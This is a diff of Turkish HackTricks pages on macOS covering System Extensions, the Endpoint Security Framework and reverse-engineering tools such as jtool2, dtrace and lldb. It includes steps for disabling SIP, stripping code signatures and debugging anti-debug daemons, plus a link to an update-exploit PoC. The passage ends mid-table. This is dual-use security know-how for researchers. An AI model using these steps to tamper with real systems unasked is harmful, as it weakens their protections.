[**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) yazılım güncelleyicisini tehlikeye atarak çekirdeği ele geçirmeye olanak tanıyan birkaç açıkıklanmaktadır.\ [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) yazılım güncelleyicisini tehlikeye atarak çekirdeği tehlikeye atan birkaç zafiyetıklanmaktadır.\
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722). [**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Sistem Uzantıları / Uç Nokta Güvenliği Çerçevesi ## Sistem Uzantıları / Uç Nokta Güvenlik Çerçevesi
Kernel Uzantılarının aksine, **Sistem Uzantıları kullanıcı alanında çalışır** ve bu da uzantı arızası nedeniyle sistem çökmesi riskini azaltır. Kernel Uzantılarının aksine, **Sistem Uzantıları kullanıcı alanında çalışır** ve bu da uzantı arızası nedeniyle sistem çökmesi riskini azaltır.
@ -12,50 +12,50 @@ Kernel Uzantılarının aksine, **Sistem Uzantıları kullanıcı alanında çal
### **DriverKit Uzantıları** ### **DriverKit Uzantıları**
DriverKit, **donanım desteği sağlayan** kernel uzantılarının yerini alır. Cihaz sürücülerinin (USB, Seri, NIC ve HID sürücüleri gibi) kernel alanında değil, kullanıcı alanında çalışmasına olanak tanır. DriverKit çerçevesi, **belirli I/O Kit sınıflarının kullanıcı alanı sürümlerini** içerir ve kernel, normal I/O Kit olaylarını kullanıcı alanına ileterek bu sürücülerin çalışması için daha güvenli bir ortam sunar. DriverKit, **donanım desteği sağlayan** kernel uzantılarının yerini alır. Cihaz sürücülerinin (USB, Seri, NIC ve HID sürücüleri gibi) kernel alanı yerine kullanıcı alanında çalışmasına olanak tanır. DriverKit çerçevesi, **belirli I/O Kit sınıflarının kullanıcı alanı sürümlerini** içerir ve kernel, normal I/O Kit olaylarını kullanıcı alanına ileterek bu sürücülerin çalışması için daha güvenli bir ortam sunar.
### **Ağ Uzantıları** ### **Ağ Uzantıları**
Ağ Uzantıları, ağ davranışlarını özelleştirme yeteneği sağlar. Birkaç tür Ağ Uzantısı vardır: Ağ Uzantıları, ağ davranışlarını özelleştirme yeteneği sağlar. Birkaç tür Ağ Uzantısı vardır:
- **Uygulama Proxy**: Akış odaklı, özel bir VPN protokolü uygulayan bir VPN istemcisi oluşturmak için kullanılır. Bu, ağ trafiğini bağlantılara (veya akışlara) göre yönetmesi anlamına gelir. - **Uygulama Proxy**: Akış odaklı, özel bir VPN protokolü uygulayan bir VPN istemcisi oluşturmak için kullanılır. Bu, ağ trafiğini bağlantılara (veya akışlara) göre yönetmesi anlamına gelir, bireysel paketler yerine.
- **Paket Tüneli**: Bireysel paketlere dayalı, özel bir VPN protokolü uygulayan bir VPN istemcisi oluşturmak için kullanılır. Bu, ağ trafiğini bireysel paketlere göre yönetmesi anlamına gelir. - **Paket Tüneli**: Bireysel paketlere dayalı, özel bir VPN protokolü uygulayan bir VPN istemcisi oluşturmak için kullanılır. Bu, ağ trafiğini bireysel paketler bazında yönetmesi anlamına gelir.
- **Veri Filtreleme**: Ağ "akışlarını" filtrelemek için kullanılır. Akış düzeyinde ağ verilerini izleyebilir veya değiştirebilir. - **Veri Filtreleme**: Ağ "akışlarını" filtrelemek için kullanılır. Akış düzeyinde ağ verilerini izleyebilir veya değiştirebilir.
- **Paket Filtreleme**: Bireysel ağ paketlerini filtrelemek için kullanılır. Paket düzeyinde ağ verilerini izleyebilir veya değiştirebilir. - **Paket Filtreleme**: Bireysel ağ paketlerini filtrelemek için kullanılır. Paket düzeyinde ağ verilerini izleyebilir veya değiştirebilir.
- **DNS Proxy**: Özel bir DNS sağlayıcısı oluşturmak için kullanılır. DNS isteklerini ve yanıtlarını izlemek veya değiştirmek için kullanılabilir. - **DNS Proxy**: Özel bir DNS sağlayıcısı oluşturmak için kullanılır. DNS isteklerini ve yanıtlarını izlemek veya değiştirmek için kullanılabilir.
## Uç Nokta Güvenliği Çerçevesi ## Uç Nokta Güvenlik Çerçevesi
Uç Nokta Güvenliği, Apple tarafından macOS'ta sağlanan bir çerçevedir ve sistem güvenliği için bir dizi API sunar. **Güvenlik satıcıları ve geliştiricilerin kötü niyetli etkinlikleri tanımlamak ve korumak için sistem etkinliğini izleyip kontrol edebilecekleri ürünler geliştirmeleri amacıyla kullanılması amaçlanmıştır.** Uç Nokta Güvenliği, Apple tarafından macOS'ta sağlanan bir çerçevedir ve sistem güvenliği için bir dizi API sunar. **Güvenlik satıcıları ve geliştiricilerin kötü niyetli etkinlikleri tanımlamak ve korumak için sistem etkinliğini izleyip kontrol edebilecekleri ürünler geliştirmeleri amacıyla kullanılır.**
Bu çerçeve, **sistem etkinliğini izlemek ve kontrol etmek için bir dizi API** sağlar; bu, işlem yürütmeleri, dosya sistemi olayları, ağ ve kernel olayları gibi etkinlikleri içerir. Bu çerçeve, **sistem etkinliğini izlemek ve kontrol etmek için bir dizi API** sağlar; örneğin, işlem yürütmeleri, dosya sistemi olayları, ağ ve kernel olayları gibi.
Bu çerçevenin temeli, **`/System/Library/Extensions/EndpointSecurity.kext`** konumunda bulunan bir Kernel Uzantısı (KEXT) olarak kernel'de uygulanmıştır. Bu KEXT, birkaç ana bileşenden oluşur: Bu çerçevenin temeli, **`/System/Library/Extensions/EndpointSecurity.kext`** konumunda bulunan bir Kernel Uzantısı (KEXT) olarak kernel'de uygulanmıştır. Bu KEXT, birkaç ana bileşenden oluşur:
- **EndpointSecurityDriver**: Bu, kernel uzantısı için "giriş noktası" olarak işlev görür. OS ile Uç Nokta Güvenliği çerçevesi arasındaki ana etkileşim noktasıdır. - **EndpointSecurityDriver**: Bu, kernel uzantısı için "giriş noktası" olarak işlev görür. OS ile Uç Nokta Güvenlik çerçevesi arasındaki ana etkileşim noktasıdır.
- **EndpointSecurityEventManager**: Bu bileşen, kernel kancalarını uygulamaktan sorumludur. Kernel kancaları, çerçevenin sistem çağrılarını keserek sistem olaylarını izlemesine olanak tanır. - **EndpointSecurityEventManager**: Bu bileşen, kernel kancalarını uygulamaktan sorumludur. Kernel kancaları, çerçevenin sistem olaylarını izleyebilmesi için sistem çağrılarını kesmesine olanak tanır.
- **EndpointSecurityClientManager**: Bu, kullanıcı alanı istemcileriyle iletişimi yönetir, hangi istemcilerin bağlı olduğunu ve olay bildirimlerini alması gerektiğini takip eder. - **EndpointSecurityClientManager**: Bu, kullanıcı alanı istemcileriyle iletişimi yönetir, hangi istemcilerin bağlı olduğunu ve olay bildirimlerini alması gerektiğini takip eder.
- **EndpointSecurityMessageManager**: Bu, kullanıcı alanı istemcilerine mesajlar ve olay bildirimleri gönderir. - **EndpointSecurityMessageManager**: Bu, kullanıcı alanı istemcilerine mesajlar ve olay bildirimleri gönderir.
Uç Nokta Güvenliği çerçevesinin izleyebileceği olaylar şunlara ayrılır: Uç Nokta Güvenlik çerçevesinin izleyebileceği olaylar şunlara ayrılır:
- Dosya olayları - Dosya olayları
- İşlem olayları - İşlem olayları
- Soket olayları - Soket olayları
- Kernel olayları (örneğin, bir kernel uzantısının yüklenmesi/boşaltılması veya bir I/O Kit cihazının açılması) - Kernel olayları (örneğin, bir kernel uzantısının yüklenmesi/boşaltılması veya bir I/O Kit cihazının açılması)
### Uç Nokta Güvenliği Çerçevesi Mimarisi ### Uç Nokta Güvenlik Çerçevesi Mimarisi
<figure><img src="../../../images/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
**Kullanıcı alanı iletişimi**, Uç Nokta Güvenliği çerçevesi ile IOUserClient sınıfı aracılığıyla gerçekleşir. İki farklı alt sınıf, çağıran türüne bağlı olarak kullanılır: **Kullanıcı alanı iletişimi**, IOUserClient sınıfı aracılığıyla Uç Nokta Güvenlik çerçevesi ile gerçekleşir. İki farklı alt sınıf, çağıran türüne bağlı olarak kullanılır:
- **EndpointSecurityDriverClient**: Bu, yalnızca sistem süreci `endpointsecurityd` tarafından tutulan `com.apple.private.endpoint-security.manager` yetkisini gerektirir. - **EndpointSecurityDriverClient**: Bu, yalnızca sistem süreci `endpointsecurityd` tarafından tutulan `com.apple.private.endpoint-security.manager` yetkisini gerektirir.
- **EndpointSecurityExternalClient**: Bu, `com.apple.developer.endpoint-security.client` yetkisini gerektirir. Bu genellikle Uç Nokta Güvenliği çerçevesiyle etkileşimde bulunması gereken üçüncü taraf güvenlik yazılımları tarafından kullanılır. - **EndpointSecurityExternalClient**: Bu, `com.apple.developer.endpoint-security.client` yetkisini gerektirir. Bu genellikle Uç Nokta Güvenlik çerçevesi ile etkileşimde bulunması gereken üçüncü taraf güvenlik yazılımları tarafından kullanılır.
Uç Nokta Güvenliği Uzantıları:**`libEndpointSecurity.dylib`** sistem uzantılarının kernel ile iletişim kurmak için kullandığı C kütüphanesidir. Bu kütüphane, Uç Nokta Güvenliği KEXT ile iletişim kurmak için I/O Kit (`IOKit`) kullanır. Uç Nokta Güvenlik Uzantıları:**`libEndpointSecurity.dylib`** sistem uzantılarının kernel ile iletişim kurmak için kullandığı C kütüphanesidir. Bu kütüphane, Uç Nokta Güvenlik KEXT ile iletişim kurmak için I/O Kit (`IOKit`) kullanır.
**`endpointsecurityd`** uç nokta güvenliği sistem uzantılarını yönetmek ve başlatmakla ilgili önemli bir sistem daemon'udur, özellikle erken önyükleme sürecinde. **Sadece sistem uzantıları**, `Info.plist` dosyalarında **`NSEndpointSecurityEarlyBoot`** ile işaretlenmiş olanlar bu erken önyükleme muamelesini alır. **`endpointsecurityd`** uç nokta güvenlik sistem uzantılarını yönetmek ve başlatmakla ilgili önemli bir sistem daemon'udur, özellikle erken önyükleme sürecinde. **Sadece sistem uzantıları**, `Info.plist` dosyalarında **`NSEndpointSecurityEarlyBoot`** ile işaretlenmiş olanlar bu erken önyükleme muamelesini alır.
Başka bir sistem daemon'u, **`sysextd`**, **sistem uzantılarını doğrular** ve bunları uygun sistem konumlarına taşır. Ardından ilgili daemon'dan uzantıyı yüklemesini ister. **`SystemExtensions.framework`** sistem uzantılarını etkinleştirmek ve devre dışı bırakmakla sorumludur. Başka bir sistem daemon'u, **`sysextd`**, **sistem uzantılarını doğrular** ve bunları uygun sistem konumlarına taşır. Ardından ilgili daemon'dan uzantıyı yüklemesini ister. **`SystemExtensions.framework`** sistem uzantılarını etkinleştirmek ve devre dışı bırakmakla sorumludur.

View File

@ -33,7 +33,7 @@ ARCH=arm64e disarm -c -S /path/bin # Get symbols (func names, strings...)
ARCH=arm64e disarm -c -d /path/bin # Get disasembled ARCH=arm64e disarm -c -d /path/bin # Get disasembled
jtool2 -d __DATA.__const myipc_server | grep MIG # Get MIG info jtool2 -d __DATA.__const myipc_server | grep MIG # Get MIG info
``` ```
Buradan [**jtool2'yi indirebilirsiniz**](http://www.newosxbook.com/tools/jtool.html) veya `brew` ile kurabilirsiniz. Buradan [**jtool2'yi indirin**](http://www.newosxbook.com/tools/jtool.html) veya `brew` ile kurun.
```bash ```bash
# Install # Install
brew install --cask jtool2 brew install --cask jtool2
@ -54,7 +54,7 @@ jtool2 -d __DATA.__const myipc_server | grep MIG
### Codesign / ldid ### Codesign / ldid
> [!TIP] > **`Codesign`** **macOS**'de bulunabilirken, **`ldid`** **iOS**'de bulunabilir > [!TIP] > **`Codesign`** **macOS**'de bulunabilirken, **`ldid`** **iOS**'de bulunabilir.
```bash ```bash
# Get signer # Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -122,7 +122,7 @@ Bir ikili dosyada Objective-C kullanan bir fonksiyon çağrıldığında, derlen
Bu fonksiyonun beklediği parametreler şunlardır: Bu fonksiyonun beklediği parametreler şunlardır:
- İlk parametre (**self**) "mesajı alacak **sınıfın örneğine işaret eden bir işaretçi**"dir. Daha basit bir ifadeyle, bu, metodun çağrıldığı nesnedir. Eğer metod bir sınıf metoduysa, bu sınıf nesnesinin (bütün olarak) bir örneği olacaktır; oysa bir örnek metodu için, self sınıfın bir örneğine işaret edecektir. - İlk parametre (**self**) "mesajı alacak **sınıfın örneğine işaret eden bir işaretçi**"dir. Daha basit bir ifadeyle, bu, metodun çağrıldığı nesnedir. Eğer metod bir sınıf metoduysa, bu sınıf nesnesinin (bütün olarak) bir örneği olacaktır, oysa bir örnek metodu için self, sınıfın bir örneğine işaret edecektir.
- İkinci parametre (**op**), "mesajı işleyen metodun seçicisidir". Yine, daha basit bir ifadeyle, bu sadece **metodun adıdır.** - İkinci parametre (**op**), "mesajı işleyen metodun seçicisidir". Yine, daha basit bir ifadeyle, bu sadece **metodun adıdır.**
- Kalan parametreler, metodun gerektirdiği herhangi bir **değerdir** (op). - Kalan parametreler, metodun gerektirdiği herhangi bir **değerdir** (op).
@ -136,19 +136,19 @@ x64:
| **Argüman** | **Kayıt** | **(için) objc_msgSend** | | **Argüman** | **Kayıt** | **(için) objc_msgSend** |
| ----------------- | ------------------------------------------------------------- | ------------------------------------------------------ | | ----------------- | ------------------------------------------------------------- | ------------------------------------------------------ |
| **1. argüman** | **rdi** | **self: metodun çağrıldığı nesne** | | **1. argüman** | **rdi** | **self: metodun çağrıldığı nesne** |
| **2. argüman** | **rsi** | **op: metodun adı** | | **2. argüman** | **rsi** | **op: metodun adı** |
| **3. argüman** | **rdx** | **metodun 1. argümanı** | | **3. argüman** | **rdx** | **metoda 1. argüman** |
| **4. argüman** | **rcx** | **metodun 2. argümanı** | | **4. argüman** | **rcx** | **metoda 2. argüman** |
| **5. argüman** | **r8** | **metodun 3. argümanı** | | **5. argüman** | **r8** | **metoda 3. argüman** |
| **6. argüman** | **r9** | **metodun 4. argümanı** | | **6. argüman** | **r9** | **metoda 4. argüman** |
| **7. ve üzeri argüman** | <p><strong>rsp+</strong><br><strong>(stack'te)</strong></p> | **metodun 5. ve üzeri argümanı** | | **7. ve üzeri argüman** | <p><strong>rsp+</strong><br><strong>(stack'te)</strong></p> | **metoda 5. ve üzeri argüman** |
### ObjectiveC metadata dökümü ### ObjectiveC metadata dökümü
### Dynadump ### Dynadump
[**Dynadump**](https://github.com/DerekSelander/dynadump), Objective-C ikili dosyalarını sınıf dökümü yapmak için bir araçtır. Github, dylib'leri belirtmektedir ancak bu yürütülebilir dosyalarla da çalışır. [**Dynadump**](https://github.com/DerekSelander/dynadump), Objective-C ikili dosyalarını sınıf dökümü yapmak için bir araçtır. Github, dylib'leri belirtmektedir ancak bu, çalıştırılabilir dosyalarla da çalışır.
```bash ```bash
./dynadump dump /path/to/bin ./dynadump dump /path/to/bin
``` ```
@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
``` ```
Bu bölümde saklanan [**bilgiler hakkında daha fazla bilgiye bu blog yazısında ulaşabilirsiniz**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html). Bu bölümde saklanan [**bilgiler hakkında daha fazla bilgiye bu blog yazısında ulaşabilirsiniz**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
Ayrıca, **Swift ikili dosyaları sembollere sahip olabilir** (örneğin, kütüphanelerin fonksiyonlarının çağrılabilmesi için sembolleri saklaması gerekir). **Semboller genellikle fonksiyon adı ve attr hakkında çirkin bir şekilde bilgi içerir**, bu nedenle çok kullanışlıdırlar ve orijinal adı alabilen "**demanglers"** vardır: Ayrıca, **Swift ikili dosyaları sembollere sahip olabilir** (örneğin, kütüphanelerin fonksiyonlarının çağrılabilmesi için sembolleri saklaması gerekir). **Semboller genellikle fonksiyon adı ve attr hakkında çirkin bir şekilde bilgi içerir**, bu nedenle çok faydalıdırlar ve orijinal adı alabilen "**demanglers"** vardır:
```bash ```bash
# Ghidra plugin # Ghidra plugin
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
@ -204,21 +204,21 @@ swift demangle
## Dinamik Analiz ## Dinamik Analiz
> [!WARNING] > [!WARNING]
> İkili dosyaları hata ayıklamak için, **SIP devre dışı bırakılmalıdır** (`csrutil disable` veya `csrutil enable --without debug`) veya ikili dosyaları geçici bir klasöre kopyalayıp **imzayı kaldırmalısınız** `codesign --remove-signature <binary-path>` veya ikili dosyanın hata ayıklanmasına izin vermelisiniz (bunu [bu script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b) ile kullanabilirsiniz). > İkili dosyaları hata ayıklamak için, **SIP'nin devre dışı bırakılması gerekir** (`csrutil disable` veya `csrutil enable --without debug`) veya ikili dosyaları geçici bir klasöre kopyalayıp **imzayı kaldırmak** için `codesign --remove-signature <binary-path>` ya da ikili dosyanın hata ayıklanmasına izin vermek gerekir (bunu [bu script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b) kullanarak yapabilirsiniz).
> [!WARNING] > [!WARNING]
> macOS'ta **sistem ikili dosyalarını** (örneğin `cloudconfigurationd`) **hata ayıklamak için SIP devre dışı bırakılmalıdır** (sadece imzayı kaldırmak işe yaramaz). > macOS'ta **sistem ikili dosyalarını enstrümante etmek** için (örneğin `cloudconfigurationd`), **SIP'nin devre dışı bırakılması gerekir** (sadece imzayı kaldırmak işe yaramaz).
### API'ler ### API'ler
macOS, süreçler hakkında bilgi veren bazı ilginç API'ler sunar: macOS, süreçler hakkında bilgi veren bazı ilginç API'ler sunar:
- `proc_info`: Her süreç hakkında çok fazla bilgi veren ana API'dir. Diğer süreçlerin bilgilerini almak için root olmanız gerekir, ancak özel yetkilere veya mach portlarına ihtiyacınız yoktur. - `proc_info`: Her süreç hakkında çok fazla bilgi veren ana API'dir. Diğer süreçlerin bilgilerini almak için root olmanız gerekir, ancak özel yetkilere veya mach portlarına ihtiyacınız yoktur.
- `libsysmon.dylib`: XPC ile sunulan işlevler aracılığıyla süreçler hakkında bilgi almanıza olanak tanır, ancak `com.apple.sysmond.client` yetkisine sahip olmanız gerekir. - `libsysmon.dylib`: XPC ile sunulan işlevler aracılığıyla süreçler hakkında bilgi almayı sağlar, ancak `com.apple.sysmond.client` yetkisine sahip olmak gerekir.
### Stackshot & mikrostackshotlar ### Stackshot & mikrostackshotlar
**Stackshotting**, süreçlerin durumunu, tüm çalışan iş parçalarının çağrı yığınlarını içerecek şekilde yakalamak için kullanılan bir tekniktir. Bu, hata ayıklama, performans analizi ve sistemin belirli bir zamanda davranışını anlamak için özellikle yararlıdır. iOS ve macOS'ta, stackshotting **`sample`** ve **`spindump`** gibi çeşitli araçlar ve yöntemler kullanılarak gerçekleştirilebilir. **Stackshotting**, süreçlerin durumunu, tüm çalışan iş parçalarının çağrı yığınlarını içerecek şekilde yakalamak için kullanılan bir tekniktir. Bu, hata ayıklama, performans analizi ve sistemin belirli bir zamanda davranışını anlamak için özellikle yararlıdır. iOS ve macOS'ta, stackshotting, **`sample`** ve **`spindump`** gibi çeşitli araçlar ve yöntemler kullanılarak gerçekleştirilebilir.
### Sysdiagnose ### Sysdiagnose
@ -236,7 +236,7 @@ Plist'i `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` konumunda bu
MacOS, bir uygulama çalıştırırken **ne yaptığını** anlamaya çalışırken çok yararlı olabilecek birçok günlük oluşturur. MacOS, bir uygulama çalıştırırken **ne yaptığını** anlamaya çalışırken çok yararlı olabilecek birçok günlük oluşturur.
Ayrıca, bazı günlükler **kullanıcı** veya **bilgisayar** **tanımlanabilir** bilgileri **gizlemek için** `<private>` etiketini içerecektir. Ancak, bu bilgileri ığa çıkarmak için **bir sertifika yüklemek mümkündür**. Açıklamaları [**buradan**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) takip edin. Ayrıca, bazı günlükler, bazı **kullanıcı** veya **bilgisayar** **tanımlanabilir** bilgileri **gizlemek** için `<private>` etiketini içerecektir. Ancak, bu bilgileri ifşa etmek için **bir sertifika yüklemek mümkündür**. Açıklamaları [**buradan**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) takip edin.
### Hopper ### Hopper
@ -246,11 +246,11 @@ Hopper'ın sol panelinde, ikilinin sembollerini (**Etiketler**), prosedürler ve
#### Orta panel #### Orta panel
Orta panelde **dağıtılmış kodu** görebilirsiniz. Ve bunu **ham** dağıtım, **graf** olarak, **dekompile edilmiş** ve **ikili** olarak ilgili simgeye tıklayarak görebilirsiniz: Orta panelde **dağıtılmış kodu** görebilirsiniz. Ve bunu **ham** dağıtım, **graf** olarak, **decompile edilmiş** ve **ikili** olarak ilgili simgeye tıklayarak görebilirsiniz:
<figure><img src="../../../images/image (343).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (343).png" alt=""><figcaption></figcaption></figure>
Bir kod nesnesine sağ tıkladığınızda, o nesneye **referansları/gelen referansları** görebilir veya adını değiştirebilirsiniz (bu, dekompile edilmiş sahte kodda çalışmaz): Bir kod nesnesine sağ tıkladığınızda, o nesneye **referansları/gelen referansları** görebilir veya adını değiştirebilirsiniz (bu, decompile edilmiş psödo kodda çalışmaz):
<figure><img src="../../../images/image (1117).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1117).png" alt=""><figcaption></figcaption></figure>
@ -258,7 +258,7 @@ Ayrıca, **orta altta python komutları yazabilirsiniz**.
#### Sağ panel #### Sağ panel
Sağ panelde, **navigasyon geçmişi** (bu sayfaya nasıl geldiğinizi bilmeniz için), bu işlevi çağıran tüm **işlevleri** ve **bu işlevin çağırdığı** tüm işlevleri görebileceğiniz **çağrı grafiği** ve **yerel değişkenler** bilgileri gibi ilginç bilgiler görebilirsiniz. Sağ panelde, **navigasyon geçmişi** gibi ilginç bilgileri görebilirsiniz (bu sayede mevcut duruma nasıl geldiğinizi bilirsiniz), bu işlevi çağıran tüm **işlevleri** ve **bu işlevin çağırdığı** tüm işlevleri görebileceğiniz **çağrı grafiği** ve **yerel değişkenler** bilgisi.
### dtrace ### dtrace
@ -269,7 +269,7 @@ DTrace, her sistem çağrısı için bir prob oluşturmak üzere **`dtrace_probe
> [!TIP] > [!TIP]
> Dtrace'ı SIP korumasını tamamen devre dışı bırakmadan etkinleştirmek için kurtarma modunda şunu çalıştırabilirsiniz: `csrutil enable --without dtrace` > Dtrace'ı SIP korumasını tamamen devre dışı bırakmadan etkinleştirmek için kurtarma modunda şunu çalıştırabilirsiniz: `csrutil enable --without dtrace`
> >
> Ayrıca **`dtrace`** veya **`dtruss`** ikililerini **kendiniz derlediğiniz** dosyalar olarak kullanabilirsiniz. > Ayrıca, **derlediğiniz** **`dtrace`** veya **`dtruss`** ikili dosyalarını da kullanabilirsiniz.
Dtrace'ın mevcut prob'ları şu şekilde elde edilebilir: Dtrace'ın mevcut prob'ları şu şekilde elde edilebilir:
```bash ```bash
@ -283,7 +283,7 @@ ID PROVIDER MODULE FUNCTION NAME
``` ```
Probe adı dört bölümden oluşur: sağlayıcı, modül, işlev ve ad (`fbt:mach_kernel:ptrace:entry`). Eğer adın bazı bölümlerini belirtmezseniz, Dtrace o bölümü joker karakter olarak uygular. Probe adı dört bölümden oluşur: sağlayıcı, modül, işlev ve ad (`fbt:mach_kernel:ptrace:entry`). Eğer adın bazı bölümlerini belirtmezseniz, Dtrace o bölümü joker karakter olarak uygular.
DTrace'i probeleri etkinleştirmek ve ateşlendiklerinde hangi eylemlerin gerçekleştirileceğini belirtmek için D dilini kullanmamız gerekecek. DTrace'i probeleri etkinleştirmek ve ateşlendiğinde hangi eylemlerin gerçekleştirileceğini belirtmek için D dilini kullanmamız gerekecek.
Daha ayrıntılı bir açıklama ve daha fazla örnek için [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html) adresine bakabilirsiniz. Daha ayrıntılı bir açıklama ve daha fazla örnek için [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html) adresine bakabilirsiniz.
@ -394,7 +394,7 @@ Mac'inizi **`sudo eslogger fork exec rename create > cap.json`** gibi bir komutl
### FileMonitor ### FileMonitor
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor), dosya olaylarını (oluşturma, değişiklikler ve silme gibi) izlemeye olanak tanır ve bu olaylar hakkında ayrıntılı bilgi sağlar. [**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor), dosya olaylarını (oluşturma, değişiklikler ve silmeler gibi) izlemeye olanak tanır ve bu olaylar hakkında ayrıntılı bilgi sağlar.
### Crescendo ### Crescendo
@ -416,11 +416,11 @@ fs_usage -w -f network curl #This tracks network actions
### TaskExplorer ### TaskExplorer
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html), bir ikili dosyanın kullandığı **kütüphaneleri**, kullandığı **dosyaları** ve **ağ** bağlantılarını görmek için faydalıdır.\ [**Taskexplorer**](https://objective-see.com/products/taskexplorer.html), bir ikili dosyanın kullandığı **kütüphaneleri**, kullandığı **dosyaları** ve **ağ** bağlantılarını görmek için faydalıdır.\
Ayrıca ikili süreçleri **virustotal** ile kontrol eder ve ikili hakkında bilgi gösterir. Ayrıca, ikili süreçleri **virustotal** ile kontrol eder ve ikili hakkında bilgi gösterir.
## PT_DENY_ATTACH <a href="#page-title" id="page-title"></a> ## PT_DENY_ATTACH <a href="#page-title" id="page-title"></a>
[**bu blog yazısında**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) **`PT_DENY_ATTACH`** kullanan bir **çalışan daemon'u** nasıl **hata ayıklayacağınız** hakkında bir örnek bulabilirsiniz. [**Bu blog yazısında**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) **`PT_DENY_ATTACH`** kullanan bir **çalışan daemon'u** nasıl **hata ayıklayacağınız** hakkında bir örnek bulabilirsiniz.
### lldb ### lldb
@ -438,7 +438,7 @@ settings set target.x86-disassembly-flavor intel
> [!WARNING] > [!WARNING]
> lldb içinde bir işlemi `process save-core` ile dökün > lldb içinde bir işlemi `process save-core` ile dökün
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Komut</strong></td><td><strong>ıklama</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Bir kesme noktası vurulana veya işlem sonlanana kadar devam edecek şekilde yürütmeyi başlatır.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Giriş noktasında durarak yürütmeyi başlatır</td></tr><tr><td><strong>continue (c)</strong></td><td>Debug edilen işlemin yürütmesini devam ettirir.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Sonraki talimatı yürütür. Bu komut, fonksiyon çağrılarını atlar.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Sonraki talimatı yürütür. nexti komutunun aksine, bu komut fonksiyon çağrılarına girer.</td></tr><tr><td><strong>finish (f)</strong></td><td>Mevcut fonksiyondaki (“çerçeve”) geri kalan talimatları yürütür ve durur.</td></tr><tr><td><strong>control + c</strong></td><td>Yürütmeyi duraklatır. Eğer işlem çalıştırıldıysa (r) veya devam ettirildiyse (c), bu işlem duraklatılacaktır ...şu anda yürütüldüğü yerde.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Herhangi bir main fonksiyonu</p><p><code>b &#x3C;binname>`main</code> #Bin'in ana fonksiyonu</p><p><code>b set -n main --shlib &#x3C;lib_name></code> #Belirtilen bin'in ana fonksiyonu</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Herhangi bir NSFileManager metodu</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # O kütüphanedeki tüm fonksiyonlarda kesme noktası</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Kesme noktası listesi</p><p><code>br e/dis &#x3C;num></code> #Kesme noktasını etkinleştir/devre dışı bırak</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Kesme noktası komutu hakkında yardım al</p><p>help memory write #Belleğe yazma hakkında yardım al</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/bellek adresi></strong></td><td>Belleği null-terminatlı dize olarak görüntüler.</td></tr><tr><td><strong>x/i &#x3C;reg/bellek adresi></strong></td><td>Belleği montaj talimatı olarak görüntüler.</td></tr><tr><td><strong>x/b &#x3C;reg/bellek adresi></strong></td><td>Belleği bayt olarak görüntüler.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Bu, parametre ile referans verilen nesneyi yazdırır</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Appleın Objective-C API'lerinin veya yöntemlerinin çoğu nesne döndürdüğünden, bu nedenle “print object” (po) komutu ile görüntülenmelidir. Eğer po anlamlı bir çıktı üretmiyorsa <code>x/b</code> kullanın</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #O adrese AAAA yaz<br>memory write -f s $rip+0x11f+7 "AAAA" #Adrese AAAA yaz</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis 